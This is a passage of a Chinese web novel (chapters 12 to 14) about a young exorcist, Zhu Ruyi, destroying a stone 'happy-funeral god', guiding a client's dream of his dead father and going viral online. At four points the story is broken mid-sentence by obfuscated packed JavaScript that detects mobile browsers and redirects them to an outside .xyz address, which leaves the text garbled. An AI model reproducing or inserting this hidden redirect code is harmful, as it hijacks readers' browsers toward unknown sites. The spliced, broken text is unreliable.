d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042946|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办事，出门前她特意打开过，所以石头在她眼里不仅不鲜亮，上边还覆盖了一层淡淡的阴气。 她不禁说道：“五岳以泰山为首，泰山石也确实有用，但只有在泰山上受过祭祀的石头才能安家镇宅调理风水，叫泰山石。” “除此之外有灵性的石头都不是吉兆，大有可能是从阴邪之地出身的石头，这类石头经人祭拜，天长地久变会成为山神。但现在神身难存，山神消亡后，很多没有香火供奉的孤魂野鬼就会跑过来占据石壳。” 王丽丽气势也弱了三分，道：“你是说，这个里边藏了东西？” 祝如意不好说，道：“也可能是普通的阴石，但肯定不是泰山石敢当。” 孟母听见里边可能藏了东西，人已经是一副要晕倒的样子，但她还抱着微弱的希望喃喃道：“小祝，万一不是呢？” 祝如意已经在论坛搜过一遍了，这时摸着符说：“用符水泡它看看，什么妖魔鬼怪，都受不住符水浸泡即使不能伤它，也能让它显露真身。” 保险起见，她把自己画的符各分了几张下去，特意吩咐他们站远一点。 自己则点了三支香，祝家没有家仙可以拜，她拜时念的就是祝家祖宗的名号，救死扶伤几代人，子孙总会有点余荫在身。 念之前，祝如意还不忘把手机交给柳杏杏：“记得给我拍好看一点，仙气飘飘一点，我之后要发到网上扬名呢，来的路上连外号我都想好了，九天玄仙，妙道真君，小祝仙姑，等等，都很斯文好听。” 柳杏杏是最信祝如意的，她站得也最远，在她那个角度，拍人不是特别好看，她欲言又止，可看祝如意这架势都豁出去了，最终千言万语变成一句：“……大仙儿，我尽量。” 祝如意嗯了一声，抱着日历撕到头的心情，行云流水地做好祭坛，拜过祖宗，自取了一个陶瓷脸盆，在里边烧化了一道破魔符，然后用红布包着石头放进了水中。 随着符水浸泡，空气中出现了一股淡淡的腥味。 原本轻轻无奇的石头，表皮层层剥落，逐渐露出一尊两只手掌大的神像，神像上刻了七位披麻戴孝的佛子佛女，嘴边尚有石表未脱，半露红唇，都笑意吟吟，看上去极其诡异。 “这是那天跟着我们的人！”王丽丽惊呼。 要是孟云下得了床，他也会发现，这尊石像就是他在庙会把玩过的那个。 这时孟家客厅温度也下降了许多，属于风水上的“水”风扇、空调，水龙头都开始流动起来，露出细微的响声。 从闹出的动静来看就知道，这石头不是啥好货。 孟母亲眼看见这一幕，几乎魂飞天外，对祝如意的称呼也从小祝变成了大师，道：“大师！！赶紧收了它吧！！” 祝如意这边还在摇人，这邪神要弄清楚它的来历才好收服，她还是第一次干这事儿呢，眼看着徐行知赶不上了，她转身从浑身剧烈抖动的柳杏杏手上拿回了手机。 孟母等人都吓得捏紧了木符，怕她道行不够打不过，一看人都没看石头一眼，还能分心玩手机，心里也淡定了一点。 她不禁赞叹：“难怪小祝、不，大仙儿，年纪轻轻就成了大师，看看人家这范儿，真正泰山崩于前而面不改色！” 柳杏杏一看露出死鱼味的假泰山，气势如虹，道：“可不是吗！！” 这边，祝如意拍了张照发在锦花论坛。 标题：人在干架，在线等一个科普，急！ 12. 喜丧神（下） 今天锦花市发生了大事，如今各家都修自己的道，不认神佛只认自己的祖宗，人人都可以说和五大家仙胡黄白柳灰没啥太大区别，像过去那样的华山论道早就不复存在了。 祝如意这条大胆而风骚的求助自然而然吸引了许多目光。 锦花论坛。 “我打开的方式不对吗？有人在论坛求学？” “楼主稍等，我去买两个橘子回来再详谈。” “打赢了分不分钱？不分我可不说啊！” “别开玩笑了，楼主都急得急急如律令了。” 一阵热情的插科打诨之后，论坛也逐渐说到了这尊石像的由来，毕竟一起讨论怎么对付鬼怪，也是件新鲜事。 率先科普的是一串非常原始的数字ID。 距离祝如意发帖大概三分钟，数字君说：“这是尊‘喜丧神’，防止亲属被亡灵带走，喜丧戏班人数设单不设双，大多以七为尊。” 说到喜丧，她也明白了不少。 锦花市民间有喜丧习俗，葬礼上喜欢打麻将、唱流行乐，提倡人鬼两开心，一个开开心心地过完下半生让已逝之人不要担心，一个提倡鬼魂最后快乐参加自己的末宴，高高兴兴上路。 但这些都是文明人的做法，很久以前喜丧也有很多糟粕，有的地区会假借喜丧名义，请一些赤红鸳鸯肚兜和狂徒来表演。 祝如意幼时去乡下吃席，也见过一户人家办荤喜丧，因为场面太过不堪入目，主家儿女还会巧立名目，称呼来演戏的人为“干亲”，这样一来，聚众淫行就变成了“彩衣娱亲”之类的优良传统。 数字君也回：“陋习难除，许多偏僻愚昧之地认为老人葬礼上有喜丧班出现，亡灵转世才会平安富贵，故有父母年迈者会特意雕刻七人像祭拜，久而久之即生淫祀。” 王孟家的这尊石像，裸露的左衽服装，欲拒还迎的媚态，都是喜丧神的特征。 “这喜丧神有什么能力吗？”祝如意厚着脸皮继续问。 “它会保佑家里老人生机长存，家中添丁进口，算欢喜佛的变种，供奉它也不需要钱财，只需与它神交。民间供奉喜丧神的人家大多与喜丧神以兄弟姐妹相称，在它看来，遇见、谈论、对视都算认亲行为。” 数字君打字似乎很难，足足过了大概有五分钟才回。 祝如意简直喷了：“这么说这喜丧神就是神中普信神啊，别人看它一眼，它都觉得‘此人爱我’。” 像孟云的把玩行为，在它眼里估计和桃园三结义差不多了。 数字君仿佛被祝如意的回帖弄得岔了气，许久都没有再回复。 还是其他坛友嬉笑地回。 “无法反驳，喜丧神就是这么风骚。” “其实它不仅普信，还很善妒啊，男主人跟别人接触它要吃醋，女主人跟别人接触它也要吃醋，就是睡觉，它也要睡人家两口子中间！” “像楼主说的喜丧神做乱，很可能是因为它既没有得到供奉，又嫌家里人太多，想折腾一点大动静引人注意。” “楼主大显神威收了它，记得来论坛报平安。” 说了这么多，回帖的除鬼师都没有说到底要怎么除去喜丧神，想来家家都有不传之秘，不愿意在公共论坛分享成果。 祝如意又看了一遍帖子，见没有更需要注意的消息，便打算退出。 没想到这时竟然收到了数字君的私信，还是一条长语音。 数字君声线很干净，带着一点清澈的少年音，很明显是青年男性，他说话和打字一样，慢吞吞的：“喜丧神深居石躯，常力难以破坏，要除它，需设法引神出壳，有符以符杀，有剑以剑杀，都可行。” 问清祝如意有家传宝剑后，还发了一张诛邪五雷符过来。 这张符文祝如意既没有见过，也没有听过，但敢叫诛邪，明显又比破魔更有威力，甚至还要配合“五雷密咒”口诀使用。 祝如意吃了一惊，心想，看来这数字君真是穷得有些急迫了，为了分润连符法都愿意分享。 其实她已经在心里想过，这喜丧神在王孟家住了这么久都没害死人，足以见得神力不强，她店里存了不少破魔符，这回都一起拿过来了，就不信弄不死它。 乍见符文，她还有些心痛，看来这次不得不分钱出去了…… 关了论坛后，祝如意同王丽丽一行人解释了一番喜丧神的由来。 王丽丽想到喜丧神是想同他们夫妻共赴巫山，一脸吃了屎的表情。 孟母长居乡下，对喜丧神也略知一二，一拍大腿，掐着人中，骂道：“哎呀，我说咋看着眼熟，原来是这下流种子！大仙儿，那咋引它出来呀？” 祝如意想了会儿：“它不是要睡你们两口子中间吗？把孟云推出来，你当着它的面与孟云亲热看看呢？” 孟母早把祝如意当成了救命稻草，闻言马上就转身去房里推孟云。 祝如意担心孟云身体不行，还特意补了句：“实在不行，小柳也可以和表姐手牵手，它上次不就吃醋了吗？” 柳杏杏羞涩道：“那也太淫｜乱了。” 王丽丽看她胡说八道，忍不住走过去拧了一把，道：“牵手算什么淫｜乱！神经！” 柳杏杏说这话其实是开玩笑，想缓解下阴凉沉重的气氛，王丽丽也是开玩笑，祝如意也没当回事，她说的亲热也不过是让王丽丽跟孟云靠得近一些。 但就是这小小一点接触，真淫｜乱的坐不住了。 一时间屋内阴风大作，即使还是白天，也黑洞洞的一片。 邪神出没都会看天时，白天阳间有正气守护，大多鬼怪都不能直面日照。只有下午17点到19点的黄昏时分例外，这段时间是阴阳交界的逢魔时刻，像喜丧神这类小邪神，白天几乎只能在这个时间段出没，所以祝如意刚才才会放松心神登陆论坛。 但这喜丧神之前就被柳杏杏带的符箓伤过，又忍受她多日，这时一见王丽丽手放在柳杏杏腰上，气得七窍生烟，连天时也顾不得了，拼着日照灼伤也要让柳杏杏做活供品。 怪异的土腥味越发浓重。 “都进去！”祝如意一看这阵仗，提剑把破魔符按照八卦位，各补了一张，靠了一声，道：“这喜丧神不仅普信，还是看见白胳膊想到胴｜体的，它凭什么叫喜丧神，这分明是审核怪吧？不去广电上班简直浪费！” 王丽丽等人身上挂得最多的是福祸娘，邪风一吹，破魔符泛气锋利的金光，瞬间冲破邪气，空气中响起带着梵音的丧乐，符祸娘齐齐浮在空中，此起彼伏地喊：“死鬼！走开！” 邪神性情古怪，喜丧神尤其善妒，被符一激，更怒不可遏，七道人影迅速从石头中钻了出来，围住喜丧神的木符光芒大振，所到之处，黑雾都发出烤肉的滋滋声。 孟母出来一看心口狂跳，也跟着符祸娘一起大喊。 动静太大，楼下还以为王孟家婆媳两在吵架，还有热心居民探头出窗，端着饭碗劝：“别骂了，都是一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042947|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，骂出来难道好听吗？” 孟母见自己名声受损，悲愤之中念得更大声了。 祝如意在旁边一看，这鬼明显是冲着所有开口说话的人去的，还连符祸娘都算在小三行列，只觉得这喜丧神智商不妙，她都还没打呢，这就把自己折腾小一圈了。 当然敌人的弱智就是我方的良机，至于遇见势均力敌的对手，祝如意是万万不想的。 不过喜丧神是打群架，祝如意只有一个，她一下子也来不及保护所有人，而且能分的符也都分出去了，再画也来不及。 电光火石间，祝如意想起了永安堂笔记上的一句话：“我以笔为器，则画纸符，我以剑为器，则画剑符，我以心为器，则画心符，是谓人符合一者，动念即成符。” 她凝神起剑，按照五行起了一个剑步，但因为不熟练，姿态并不算飘逸，祝如意未曾察觉，口念五雷密咒：“上打春风雨，下打雨春风，若有强神不服者，天雷霹雳化灰尘。” 接着，她以剑为器，并未沾朱砂，在空中宛如游龙般画了诸邪五雷符。 修行之人的“雷”，说的不是天雷，而是呼吸之间的停顿。 祝如意念出的每个字都隐含雷声，喜丧神耳入一字，身上便多一条裂痕，等到符成，空中便连绵不断地响起惊雷。 在王丽丽等人耳中，便是声声不绝的五雷密咒。 虽并未见雷光，但顷刻间，七道喜丧神便化作灰飞，连石像都泥猪瓦狗般碎裂。 王丽丽一家都惊呆了，她们还以为会再抱头鼠窜一阵呢，这参与感还没上来，喜丧神就没了？ 孟云的头还没推回卧室，孟母道：“……这就没了？” 祝如意奇怪地看她一眼，“你们还想要什么后续吗？” 孟母捂着胸口摇头：“不想！” 王丽丽在一边看见表妹手上的手机，想起祝如意勇猛的姿态，和她给自己取的什么仙姑，玄女的外号，暗想：这下算是全完了，这哪里是离恨天外的娇客，分明是狂符剑师啊…… 祝如意很在意自己在互联网的起步形象，收剑之后就跑去问柳杏杏：“我的英姿都拍了吗？是不是仙气飘飘，是不是天外飞仙？” 这是永安堂发大财的第一步，很重要！ 柳杏杏也是一言难尽的表情，但忍住了没说实话，好在，她见鬼时被吓得手抖了一阵，不仅没拍完，拍到的大部分画面还比较模糊。 剪辑一番再加点bgm，应该能剪成小龙女吧？ 在王孟家处理完喜丧神后，已经过了饭点，孟母便叫了外卖招呼祝如意一起吃，她倒是想出门买菜回来做，但现在小区群都在说他们家在打群架，她实在没脸出门…… 过了半个钟头，门铃响了。 孟母开门见门外站着个灰扑扑的帅气小哥，道：“你是？” 徐行知短T长裤，背上背了把桃木剑，挠挠头，掉下一片土灰，道：“听说你们家闹鬼了？我是小祝摇来的外挂。” “哪种外挂，挂在坟外的挂？”祝如意震惊：“真遇见个厉害的，等你来，我头七都过了，你究竟怎么来的？”宣传部离这也就几公里吧，地铁十几分钟就到了，这都过去快四个小时了。 徐小哥闻言更不好意思了，低声道：“我穷得没钱做地铁，用家传土遁术过来的，现在城市地下都是空的，我掉下去好几回，摔得眼冒金星才摸过来的呢。” 祝如意冲他竖起大拇指：“……地铁到这就五块你都舍不得。” 13. 人心的树 互相介绍了一番后，徐小哥也加入了外卖行列。 看他土行孙似的沾得浑身都是灰尘，王丽丽特意点了条四斤的野黄鱼，她听说这个吃了补脑。 徐小哥和祝如意都吃不惯这些，愣是馋小龙虾，柳杏杏作为资深网民，一听野黄鱼钱包就馋得流口水。 哪知道祝如意和徐行知异口同声：“换成六斤麻辣小龙虾吧，当季的很贵，三十多块才能买一斤呢。”一条黄鱼能有多少钱？ 当然是一万多块啊！柳杏杏欲言又止，她不敢扯祝如意，半天才对徐行知说：“你赶不上外单就没有想过从自己的智商找找原因吗？” 徐小哥奇怪地看她：“赶不上斩妖除魔没关系，赶得上分钱不就行了？对了，你们给小祝发了多少钱？”他比较关心这个。 祝如意脸色尴尬，心里却乐开了花，跳大神这行哪里都好，就是出单定价宛如买玉，无关玉质好坏，就看顾客心里你值多少，像她这等脸皮薄的人，很难在这么多人前问出“多少钱”的话。 “哎呀，干什么问这个，给得不符预期多不好的。”祝如意把耳朵竖了起来。 王丽丽本来打算等吃了饭再结账，但有了徐小哥的话头，她就回屋拎了一个大容量的黑色塑料袋，不好意思地说：“我们婚礼没办成，但礼收了不少，现金多得家里都放不下了，你收吗，这一袋有八万块。” 她也不知道行情，就是看祝如意耗损了不少木符，那喜丧神的阵仗看着也是要命的，八万块也就是一个mini手提包的钱，王丽丽觉得这个应该差不多。 祝如意正装模作样地在喝水，看她拎着塑料袋还以为要丢垃圾，听到是钱，整个人都是哆嗦的，她活了二十二年，身上钱最多的时候也不超过一万块。 而且一万块放卡里和八万现金给人的视觉效果完全是不同的，她提了一下，估计得有个几斤，手感和大麒麟瓜差不多重了。 祝如意嘴角都裂到耳朵根了，低着头假装淡定。徐行知也是个没出息的，他连五块都舍不得，八万，比他的命都贵了。 他看着塑料袋馋得都流口水了，态度也谦虚谨慎了许多，百忙中还擦了满手红油关心孟云，他来时听说，这人老是做怪梦，“但喜丧神入梦都是动作片，拜神不是它们的作风啊。” 家中邪气一清，孟云也已悠悠转醒，虽然人还虚弱，但他也急着弄明白是怎么回事，这会儿也被王丽丽推出来看着一屋子人吃红油鸡爪和麻辣小龙虾，闻言半吞着口水，道：“说来也怪，刚刚我还过阴了，不过这回没在门外看见人影。” 过阴在锦花市指的就是魂魄离体看到了阴间之人，生活中也可以代指睡觉时做了鬼梦。 恶鬼入梦远远没有孟云做的那么美好。 徐行知毕竟是世家出身，自己也经常借用先人力量，梦见过不少祖先，道：“你们家供奉了家仙？这景象有点像祖先托梦专门庇护你的啊，估计你们家不怎么祭祖，他没能力示警，只能强行拉你入梦祭拜。” 孟云摇头：“我们全家都是无神论者，连我妈祭拜祖宗都是在厨房借自家烧菜的铁锅烧纸钱。” 退一万步说，要真是家仙，也解释不了梦里给他喂的汤啊，每次他喝了都昏昏欲睡，这还能是好人？ 祝如意若有所思：“其实能解释，喜丧神入梦一直不得进门，按理说也会对你造成很大的影响，少则重病多则短命，但你只是昏昏欲睡，说明那碗汤完全是在救你，下次入梦，你给他道个谢吧，这回他不用分心抵挡鬼怪，估计能和你说上话了。” 徐行知道：“那你们家是死过有功德之人了？” “这跟我的梦有什么关系？”孟云有点莫名其妙，不过他也是真不清楚，这年头谁还打听家里有没有雷锋？他们这一代连同辈都见面不识。 在一边的孟母倒是脸色微变。 祝如意在一边看见心里便有了点数。 其实从孟云出门那一刻，她就感受到了一点淡淡的阴气。 这种阴气跟喜丧神不同，很像奶奶家衣柜里的樟脑丸，不好闻但令人无端怀念，有祖先保佑的人，身上大多都会沾上一点这种味道。 如今没有地府，人死后若无供奉七日内魂魄就会消散在天地间，孟云身上有香火味却见不到鬼影，说明罩着他的祖宗很可能已经不行了。 她道：“有功德的鬼即使不受供奉也被天道庇佑，能在阳间生存许久，还能产生鬼域成为一方大鬼，你喝的那碗汤，估计是用他的功德光所化。” 徐行知一脸肉疼：“功德化汤，孟婆都不敢这么奢侈，要是真的，你祖宗也不知道还能‘活’几天……” 在孟云眼里，祝如意在关键时刻挽救了自己全家性命以及贞操，俨然已经是一副大师形象，见两人都这么说，马上就决定赶回乡下给祖宗上香，盼着他能多保佑自己一会儿。 这事他也没假以他人手，送走祝如意等人后，愣是撑着病体带着一家人上了香。 说起来也玄，孟云自己一直在昏迷，各种灵异现象他几乎没有目睹，这时点火之后，一看纸灰竟然是螺旋向上，仿佛飘到了什么人手中一般，心中也是一惊。 王丽丽吊着一只手，在现场给祝如意发了个视频。 祝如意已经带着徐行知和柳杏杏回了永安堂，因为发了笔财，几人正躺在沙发上吃得遍地麻小壳儿，看到视频后，她吃水不忘挖井人，道：“纸灰横飞，说明先人收到了，等会儿我给孟云念道经，他晚上入梦意识也能清晰一点。” 挂了电话后徐小哥在一边嘀咕：“那鬼都要没了，要维持他的梦境，需要很多法力，你才入门多久啊，受得了吗？” 祝如意也不知道：“试试总比没试强。再说有机会在梦里和亲人说话，多好。我妈失踪这么多年，我一次也没梦见过。” 徐小哥爸妈是除鬼师，一般除鬼师意外横死都是立马身死道消了，他也一次也没有梦见过父母，“那我跟你一起，我爸妈是死得透透的也见不着了，就当日行一善好了。” 话是这么说，徐行知私下还是给王丽丽打了个电话：“我话到位了，你的钱也要到位哈。” 祝如意赚的八万分了他十块地铁费，他走神想到自己用土遁术过来都悔得捶胸顿足。 王丽丽：“……我知道！” 晚上十点左右，祝如意取了三柱清香，摆了祭台，默念孟家三代内祖先名讳，以线香为引，燃烧自己的法力，助孟云入梦。 香上逐渐燃起淡蓝色的烟雾，徐行知在一边守着，要是祝如意力有不逮，就接着由他顶上。 - 当晚，孟云又做了个长长的梦。 这次梦里的场景更清楚了，他在里边也不再是小孩子，而是一位二十多岁的青年。 孟云五岁时父亲去世就去了乡下和母亲生活，关于锦花市的一切，除了蓝玻璃，大多都不记得了，但这会儿腿仿佛自己能认路似的，一拐就拐进了柿子街。 这条街种满了柿子树，据说都是动乱时期本地的大学生风雨无阻种下的，当时也不图别的，就图一个“事事平安”“万事如意”的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042948|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆头。 现在的年轻人估计不能理解冒着生命危险种树的傻事，但在那个年代，很多青年学生都把希望看得比自己的性命重要。 他们自己的信仰是很坚定的，主要还是为了让柿子街居民的心能亮堂一点，心亮堂，日子就能好过。 后来现代化建设，老房拆迁，这些柿子树都被砍掉了，孟云还挺遗憾，那些柿子树结的果很甜呢。 不过有个人跟他说：“一代人有一代人的使命，如今比起种在街上的树，结在人心的柿子才是最重要的呀。” 对了，这些事，是谁说给他听的呢？ 孟云停在来了好几次的民房前，这次他终于认清楚了，这是一家中药诊所，店里放满了中药柜，入目所及都是深棕色的小抽屉。 店外许多大人都抱着小孩儿在排队领药，似乎城里正流行什么病症。 嘈杂的讨论声在孟云耳中犹如惊雷，一下就把他打醒了。 那些因为疾病和恐惧尘封的记忆像海浪般朝他扑来。 锦花市是座温柔富裕的城市，但它也不是年年岁岁就这样，至少在二十年前，它出现过一种比较严重的小儿传染病。 当时大医院一床难求，柿子街每天晚上都有很多小孩的呜咽声，一停顿就是断气了。 孟云吓得发了高烧，没过多久，一批民间小诊所的医生站了出来，他们只取少量钱财日夜兼程地给周围居民看病，里边有一小部分人因此积劳成疾，传染病一控制住就去世了。 哦，他的爸爸，孟澜就是这么走的。 啊，原来柿子树的故事，也是爸爸讲给他听的呀！ 孟云已经记不得孟澜的样子，那时他太小了，又因为传染病受了惊吓大病一场，孟母从来不在他面前说以前的事，怕他想起来太伤心。 要不是此刻故地重游，这辈子孟云也未必能记得起来，但他记得孟澜的左眼有一颗痣。 孟云怀着一种说不清道不明的心情，走进被自己遗忘了二十年的店里…… 一个高高瘦瘦戴着口罩的年轻医生忙着给小朋友打针、挂水，让人说：“啊——。” 孟云在门外看了许久，他发现那位医生的左耳垂上也有一颗痣。 孟云有点局促地走了进去。 他会怪自己忘了他吗？他会责骂自己偷懒敲电子木鱼吗？ 想到这里，孟云自己都觉得有点滑稽。 年轻医师长身玉立地在柜台抓药，孟云走近，他便有所察觉。 他的脸逐渐和孟云脑中模糊的那张脸合二为一，露出了尘封已久的记忆。 医师和煦一笑，只道：“你来过家里许多次，都是小孩子的样子，也没有跟我上话，现在身体好些了吗？” 孟云心神震动，以前在肚子里准备对孟澜说的话，这时竟然一个字也说不上来，千言万语，开口叫了一声“爸”就堵在喉头。 年轻医师神色依然温和，他笑着伸手从柜台拿了一包药交给他：“我大限将至，以后不能再来看你。这里有三包药，你带回去，等养好身体替我给小祝妹妹的女儿一份，剩下的自己存起来，以后说不定会用到。” …… …… 这天之后，孟云再也没有做过关于这位医师的梦。 三日后，孟云精神恢复了许多，便提着药往永安堂跑。 祝如意燃烧自己的法力在梦中为孟云引路，自然对他的梦也一清二楚，虽然知道外边有份大礼等着，奈何法力消耗过度，一直被李煦按在家里睡回笼觉没有露面。 14. 哎呀，逆女怎么红了 补觉前，祝如意挣扎着用最后一丝力气把视频剪辑了一番，发到了锦花论坛和永安文创的微博上。 柳杏杏拍得虽然模糊，但木符自燃，空气中不似人声的尖啸都拍到了。 有这么好的符箓，还不赶紧来买？ 有这么好的同事，还不赶紧赞叹？ 当然这个是发在论坛的，发在微博的就只有一段静音舞剑画符的视频，不长也就十五秒。 永安堂毕竟是个卖文创的，平时也会发一些民俗科普文章，她绞尽脑汁解释了一番剑符的历史。 至于她本人也就露出了几个贴符的背影，祝如意自己看着倒是挺好看的，然而，人间事最常见的就是事与愿违…… 被李煦没收手机前，祝如意窝在被子里悄悄给数字君打了个消息，问他要账号密码方便汇款，她打算分四万过去。 处理完喜丧神后，她心里只有一个想法：诛邪五雷符真不是闹着玩的，说化尘灰就化尘灰。 所心里那点要分钱给数字君的肉痛也没有了。 数字君良久才回：“不用。” 祝如意可不愿意欠人人情，道：“你不分红，帮我干什么？” 数字君说的话是祝如意没有想到的，他道：“家兄曾受永安堂恩惠，投桃报李，不必客气。” “……”祝如意不信，她妈要有这个本事帮这些有家传的子弟，还用得着到处找师父吗？ 没想到数字君真的不要，还幽默了一下，道：“你实在不信，就当成你诚心诚意地发问了，我就大发慈悲地告诉你吧……” 祝如意还没想好怎么回呢，打算去医院上夜班的李煦看见孩子房里微亮的蓝光，抄手就拿走了手机，道：“好好休息，要尊医嘱。” 祝如意很想说她已经决定，一直冲浪，过又短又浪的人生了。 但在李煦的眼神威压下，卒。 —— 永安堂虽然只重开了两个多月，但在方圆街居民心里已经有了一些印象，像前段时间城区流行走霉运、打群架，永安文创供应了乡下偏方，比如钟馗糕。又提供了一些土办法比如配戴符祸娘，也算共克时艰。 加上一些学生经常一拖二带着家长过去，慢慢的永安文创的存在感提高了不少。起码幸福小区百分之六十的人都知道了家门口有个神神叨叨的店铺，据说还有点灵。 一些居民还喜欢下午带着孩子猫狗过来跟祝如意说两句闲话，人家长得好嘴又甜，以前还是这条gai个子高、分数高、饭碗端得高的“三高”人士。 陪孩子过来买冰糕闲着也是闲着，干脆说“小祝，给毛毛讲下这道题吧。”“小祝，给豹豹讲下怎么定点撒尿吧。” 一个暑假下来，祝如意开玩笑地跟家长们说：“哎呀，再做下去我都敢压一下明年的高考题了。”当然，宠物培训师的钱也可以小赚一下。 永安堂乍一关门，大家都有点不习惯。 每天祝大山和方晴都会出来散步，期间就有人拉住两口子，目露忧虑：“孩子不在，吃牢饭去了吗？要不要我们集体录个口供把人保出来啊？” 别看他们说话毒，但担心是真担心。 前几天被抓的那几个出马仙，最后被查出来乱开草药请人上身，人都吐白沫了他还在那边说是“祖宗上身的正常流程”，搞得好几个家庭家破人亡。 好些网友都说要把这些害人不浅的出马仙丢到南北泡菜国交界处让他跳，零负担处理国内杂碎。 永安堂因为最近出了点风头，除了信的也有不信的，像梅豆豆的奶奶吴老太，因为给孙女儿下咒，闹得梅豆豆一家在小区另租了一套房住。 吴老太气得没事就到处说：“就是骗人的，骗子，信了要倒血霉！” 这么一来就有一些人群以为永安堂在搞一些不为人道的封建迷信，还琢磨着写举报信。 举报的消息不胫而走，转眼就传到了对永安堂抱着一点善意的人群中。 众人都很无语，永安文创只是个文创店，买的东西有用也是口口相传，小祝又没有说什么一定有用！就是到局子里，他们也有话说！ 人正担心呢，好端端的小祝突然关门了，他们很难不往哪边想。 祝大山听得满脸黑线，他本来是打算憋住的。毕竟孙女外号一点也不灵动秀美，见有人怀疑如意吃牢饭去了，当即跳着脚把自己每天早中晚三次搜索孙女相关词条搜出来的视频转发到群里。 又故作不经意地在众人面前点开锦花民俗蓝v的转发。 锦花市有几千年的历史，虽然从来没有做过都城，但在两千五百年前取名叫“锦花”后就再也没有变过姓名。 这样的城市全国上下也只有一个“锦花”。所以锦花市民俗文化很繁荣，民间有不少大v吃这碗饭，不过也就在本地有名，出了市依然没人认识。 像转发祝如意舞剑贴符的“我爱民俗”就属于本地名人，她妈在永安堂买过钟馗糕。 民俗只是一种爱好，科学才是生活。“我爱民俗”担心怕老母亲上当受骗，私下对永安堂就很关注。 但她万万没想到自己有一天还会见到“剑符”！ 激动之下，“我爱民俗”转发了永安文创科普“剑符”的博文。 真情实感地道： “我的家乡千雪山就是一脉剑符的起源地，古时候千雪山太穷没钱买鞭炮，外出务工的戏班子回来觉得乡人可怜，就让花旦想办法舞剑画驱邪符代替鞭炮驱赶年兽，保佑来年风调雨顺。 我小学时，老师还经常说起小时候看人舞剑符的场景，说是没有鞭炮声，也可以听听风声、人声。万家灯火声亦是惊雷声，这样来再大的年兽也不怕了。” 但剑符并不好舞，不仅要求姿态端庄，还要在舞剑时不能停顿，一气呵成地把符画完，不然就不算完成驱邪仪式。 多年下来，以前的剑师都讨生活去了，剑符也就失传了。 “我是民俗”特别遗憾没有亲眼见过剑符，以前为了吃饱穿暖不得不舍弃的东西太多了，但让她再选一次，她还是要选吃饱穿暖。做到了这一点后，再往回看谁又能不怀念呢？ 她很感动能亲眼见到一气呵成的剑符，虽然跳得跟她想象中的优美完全不一样。 这条转发在锦花市引起了一波讨论，很多人都开始讲述自己街巷、自己的村庄曾经有过什么被遗忘的民俗。 日子过好了，市民还是盼着精神生活也跟上来的。 期间也夹杂了对舞剑人祝如意的讨论。 诸如“这剑舞得颇有东坡遗风，就赐名肘仙儿”的玩笑层出不穷，祝老头都选择性略过了。 他只是神色淡然地站在人群中，哦了一声，道：“啊，我家逆女怎么出名了？” - 除了微博外，锦花论坛也很热闹。 画符一直是个高级功工种，剑符就更是了，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042949|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的鬼吃了大攻击性的剑符基本都会狗带，但正常来说，狗带后还是会留下一尊石像，毕竟也是非物质文化遗产，跳大神也要跳得爱国不是？ 市博物馆的馆长都是知道内情的麻瓜，每年都打电话争着要被他们开过“光”的真文物呢，捐出去没有钱也有锦旗，尤其跟着孟云回来的喜丧神，一看年纪就不小了。 最后怎样？就剩了一地土灰！ 太无情了吧！ 而且他们怎么觉得她舞的姿势他们挺眼熟的呢？ 不久之后有个人发了一段视频过来，这段视频是由两个小视频剪辑而成。 画面一分为二，上边是身穿家传黑金道衣的年轻男子在焚香敬祖，下边是身穿白裙的清丽佳人在设坛焚香。 两个人都念念有词，画面到这里还比较普通，属于除鬼师请祖宗前的必要步骤。 但接下来就让人吃惊了。 设坛后，两人同时睁眼抬剑，起手的高度，舞剑的节奏都一模一样，只是一个内敛俊秀，一个狂放不羁，这时画面一转，镜头切到了手部，两只修长的手臂同时执剑落下，身后的邪神发出一声清响，转眼都化为尘土。 从种种细节以及空中响起的雷声看，毫无疑问出自同源。 这条视频剪辑也很有水平，加上BGM活生生配出了一股宿命感。 热回1：“我勒个雌雄双煞，这哪一派的啊，除神杀鬼都片甲不留！在线@民俗博物馆，还不来管管！” 热回2：“这是谢家人的符！我化成灰我都认得出来！她是谁，怎么会谢家人的符？” 多方对比之后，论坛肯定了这一观点，确实是谢家人的符。 